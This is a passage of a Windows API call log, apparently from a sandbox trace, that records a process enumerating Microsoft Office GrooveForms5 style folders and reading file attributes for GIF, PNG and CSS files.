	[0052.158] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\STS2\\*", lpFindFileData=0x127d37ec | out: lpFindFileData=0x127d37ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd54e650, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd54e650, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0052.158] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0052.158] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\STS2\\HEADER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\sts2\\header.gif"), fInfoLevelId=0x0, lpFileInformation=0x12521188 | out: lpFileInformation=0x12521188*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcff1d400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcff1d400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xcbd)) returned 1
	[0052.159] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\STS2\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\sts2\\tab_off.gif"), fInfoLevelId=0x0, lpFileInformation=0x125211d8 | out: lpFileInformation=0x125211d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcff1d400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcff1d400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1ce)) returned 1
	[0052.159] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\STS2\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\sts2\\tab_on.gif"), fInfoLevelId=0x0, lpFileInformation=0x12521228 | out: lpFileInformation=0x12521228*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcff1d400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcff1d400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x108)) returned 1
	[0052.159] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\STS2\\background.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\sts2\\background.gif"), fInfoLevelId=0x0, lpFileInformation=0x12521278 | out: lpFileInformation=0x12521278*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcff1d400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcff1d400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xe9)) returned 1
	[0052.159] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Slate" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\slate"), fInfoLevelId=0x0, lpFileInformation=0x125212c8 | out: lpFileInformation=0x125212c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd54e650, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd54e650, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0052.160] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Slate" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\slate"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0052.160] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Slate\\*", lpFindFileData=0x127d37ec | out: lpFindFileData=0x127d37ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd54e650, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd54e650, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0052.160] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0052.160] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Slate\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\slate\\tab_off.gif"), fInfoLevelId=0x0, lpFileInformation=0x125213b8 | out: lpFileInformation=0x125213b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8f7a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcd8f7a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x16c)) returned 1
	[0052.160] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Slate\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\slate\\tab_on.gif"), fInfoLevelId=0x0, lpFileInformation=0x12521408 | out: lpFileInformation=0x12521408*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8f7a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcd8f7a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x16c)) returned 1
	[0052.161] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Slate.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\slate.css"), fInfoLevelId=0x0, lpFileInformation=0x12521458 | out: lpFileInformation=0x12521458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8f7a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcd8f7a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xdbf)) returned 1
	[0052.161] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SlateBlue.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\slateblue.css"), fInfoLevelId=0x0, lpFileInformation=0x125214a8 | out: lpFileInformation=0x125214a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8f7a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcd8f7a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x74e)) returned 1
	[0052.161] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SoftBlue" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\softblue"), fInfoLevelId=0x0, lpFileInformation=0x125214f8 | out: lpFileInformation=0x125214f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd54e650, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd54e650, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0052.161] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SoftBlue" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\softblue"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0052.161] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SoftBlue\\*", lpFindFileData=0x127d37ec | out: lpFindFileData=0x127d37ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd54e650, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd54e650, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0052.161] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0052.161] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SoftBlue\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\softblue\\tab_off.gif"), fInfoLevelId=0x0, lpFileInformation=0x12521638 | out: lpFileInformation=0x12521638*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8f7a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcd8f7a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155)) returned 1
	[0052.163] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SoftBlue\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\softblue\\tab_on.gif"), fInfoLevelId=0x0, lpFileInformation=0x12521688 | out: lpFileInformation=0x12521688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcec0a700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcec0a700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde)) returned 1
	[0052.163] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SoftBlue\\background.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\softblue\\background.gif"), fInfoLevelId=0x0, lpFileInformation=0x125216d8 | out: lpFileInformation=0x125216d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8f7a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcd8f7a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1afa)) returned 1
	[0052.163] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SoftBlue.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\softblue.css"), fInfoLevelId=0x0, lpFileInformation=0x12521728 | out: lpFileInformation=0x12521728*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8f7a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcd8f7a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xec4)) returned 1
	[0052.164] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions"), fInfoLevelId=0x0, lpFileInformation=0x12521778 | out: lpFileInformation=0x12521778*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd67f150, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd6a52b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd6a52b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0052.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0052.164] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\*", lpFindFileData=0x127d37ec | out: lpFindFileData=0x127d37ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd67f150, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd6a52b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd6a52b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0052.165] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0052.166] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\Document.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions\\document.gif"), fInfoLevelId=0x0, lpFileInformation=0x125219f8 | out: lpFileInformation=0x125219f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcec0a700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcec0a700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x931)) returned 1
	[0052.167] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\Generic.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions\\generic.gif"), fInfoLevelId=0x0, lpFileInformation=0x12521a48 | out: lpFileInformation=0x12521a48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcec0a700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd6a52b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcec0a700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x832)) returned 1
	[0052.167] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\Main.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions\\main.gif"), fInfoLevelId=0x0, lpFileInformation=0x12521a98 | out: lpFileInformation=0x12521a98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcec0a700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd6a52b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcec0a700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x634)) returned 1
	[0052.168] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\Person.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions\\person.gif"), fInfoLevelId=0x0, lpFileInformation=0x12521ae8 | out: lpFileInformation=0x12521ae8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcec0a700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd6a52b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcec0a700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x96a)) returned 1
	[0052.168] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\Response.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions\\response.gif"), fInfoLevelId=0x0, lpFileInformation=0x12521b38 | out: lpFileInformation=0x12521b38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcec0a700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd6a52b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcec0a700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x68e)) returned 1
	[0052.169] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\arrow.png" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions\\arrow.png"), fInfoLevelId=0x0, lpFileInformation=0x12521b88 | out: lpFileInformation=0x12521b88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcec0a700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcec0a700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xe5)) returned 1
	[0052.169] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\gradient.png" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions\\gradient.png"), fInfoLevelId=0x0, lpFileInformation=0x12521bd8 | out: lpFileInformation=0x12521bd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcec0a700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd6a52b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcec0a700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xe2)) returned 1
	[0052.169] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions.css"), fInfoLevelId=0x0, lpFileInformation=0x12521c28 | out: lpFileInformation=0x12521c28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcec0a700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcec0a700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x19cc)) returned 1
	[0052.169] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions_Doc.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions_doc.css"), fInfoLevelId=0x0, lpFileInformation=0x12521c78 | out: lpFileInformation=0x12521c78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcec0a700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcec0a700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xf7)) returned 1
	[0052.169] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions_Generic.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions_generic.css"), fInfoLevelId=0x0, lpFileInformation=0x12521cc8 | out: lpFileInformation=0x12521cc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcec0a700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd6a52b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcec0a700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x55c)) returned 1
	[0052.170] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions_Person.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions_person.css"), fInfoLevelId=0x0, lpFileInformation=0x12521d18 | out: lpFileInformation=0x12521d18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcff1d400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd6a52b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcff1d400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xa7)) returned 1
	[0052.170] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions_Response.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions_response.css"), fInfoLevelId=0x0, lpFileInformation=0x12521d68 | out: lpFileInformation=0x12521d68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcff1d400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd6a52b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcff1d400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xab)) returned 1
	[0052.170] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SpringGreen" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\springgreen"), fInfoLevelId=0x0, lpFileInformation=0x12521db8 | out: lpFileInformation=0x12521db8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd54e650, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd54e650, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0052.170] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SpringGreen" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\springgreen"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0052.170] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SpringGreen\\*", lpFindFileData=0x127d37ec | out: lpFindFileData=0x127d37ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd54e650, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd54e650, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0052.170] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0052.170] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SpringGreen\\BUTTON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\springgreen\\button.gif"), fInfoLevelId=0x0, lpFileInformation=0x12521ef8 | out: lpFileInformation=0x12521ef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcff1d400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcff1d400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1ac)) returned 1
	[0052.170] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SpringGreen\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\springgreen\\tab_off.gif"), fInfoLevelId=0x0, lpFileInformation=0x12521f48 | out: lpFileInformation=0x12521f48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcff1d400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcff1d400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155)) returned 1
	[0052.174] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Swirl" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\swirl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
